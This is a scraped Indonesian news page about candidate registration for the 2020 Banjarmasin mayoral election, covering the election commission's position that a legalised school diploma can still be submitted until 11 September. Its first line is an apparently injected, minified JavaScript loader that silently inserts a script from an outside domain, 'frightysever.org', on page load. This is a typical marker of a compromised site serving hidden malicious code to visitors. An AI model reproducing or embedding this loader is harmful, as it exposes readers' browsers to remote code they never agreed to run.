(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: PILKADA BANJARMASIN

Legalisir Ijazah Jadi Persyaratan Calon, KPU: Masih Bisa Diperbaiki Hingga 11 September


KANALKALIMANTAN.COM, BANJARMASIN – Pendaftaran bakal pasangan calon Wali Kota dan Wakil Wali Kota Banjarmasin resmi dimulai sejak Jumat (9/4/2020). Salah satu bakal pasangan calon masih belum melengkapi berkas pendaftaran yakni legalisir ijazah yang menjadi salah satu persyaratan.

Namun, Ketua KPU Kota Banjarmasin Rahmiyati Wahdah meluruskan, itu hanyalah syarat bagi calon, yang artinya bukan sesuatu yang wajib.

“Yang kita cari keabsahan apakah benar.

Karena minimal ijazah adalah SMA.

Meskipun ada title S1 dan S2, tetap kita cari adalah SMA-nya. Apakah sesuai dengan fotokopi dan aslinya,” kata Rahmiyati di Banjarmasin, Jumat (4/9/2020) sore.

Sayangnya, ketika ditanya siapa bakal pasangan calon yang dimaksud, Rahmiyati mengaku tidak mengetahuinya. Namun demikian, Rahmiyati kembali menegaskan, lantaran merupakan syarat calon sehingga bukan sebuah kewajiban, atau dengan kata lain bukanlah syarat untuk pendaftaran bakal calon itu diterima atau ditolak.

“Legalisir pun nantinya diverifikasi dan cari tahu apakah benar. Nantinya kita akan verifikasi ke SMA-nya, apakah benar SMA mengeluarkan ijazah ini,” imbuhnya.

Kendati demikian, batas waktu untuk melengkapi berkas pendaftaran masih panjang, yaitu hingga 11 September mendatang. “Apapun hasilnya dari pendaftaran hari ini, kita berikan tanda terimanya. Nantinya kita akan verifikasi lagi, dan itulah nantinya syarat untuk menetapkan. Karena ada syarat untuk verifikasi perbaikannya lagi,” terangnya.

Terpisah, Ketua Bawaslu Kota Banjarmasin Muhammad Yasar menegaskan, berkas pendaftaran yang lengkap merupakan syarat wajib. Akan tetapi, jika ada yang kurang -seperti legalisir ijazah belum lengkap- dapat dilengkapi di masa perbaikan.

“Iya, kalau tidak dilengkapi (hingga tenggat waktu) bisa jadi TMS (tidak memenuhi syarat). Jadi harus dilengkapi. (Untuk legalisir ijazah) sementara tidak ada masalah. Doakan lancar, mudah-mudahan tidak ada sengketa,” pungkas Yasar. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Cell

 


Al Ghifari

Recent Posts

LITERASI EMOSIONAL DI MEDIA SOSIAL: MENGELOLA EMOSI DAN INTERKASI ONLINE

"WEBINAR INDONESIA MAKIN CAKAP DIGITAL" WILAYAH KALIMANTAN Read More

49 menit ago

Wabup Banjar Hadiri Haul Ke-68 KH Zainal Ilmi

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi betbaur dengan ribuan orang menghadiri… Read More

1 jam ago

Simulasi Keadaan Darurat di Terminal BBM Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - PT Pertamina Patra Niaga Integrated Terminal Banjarmasin melakukan simulasi keadaan darurat bersama… Read More

12 jam ago

Lawatan Politik Lisa Halaby Berlanjut ke PKS dan Demokrat

KANALKALIMANTAN.COM, BANJARBARU – Lawatan politik Erna Lisa Halaby terus berlanjut mendatangi dua partai politik jelang… Read More

13 jam ago

Kloter 1 Banjarmasin Sudah di Mekah, Kloter 8 Diterbangkan Hari Ini

KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter 1 Embarkasi Banjarmasin dari Kabupaten Banjar, Kalimantan Selatan (Kalsel)… Read More

14 jam ago

Pj Bupati Kapuas Ngopi Santai Bersama Warga Pulau Telo

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi, ngopi santai bareng mendengar aspirasi… Read More

14 jam ago

This website uses cookies.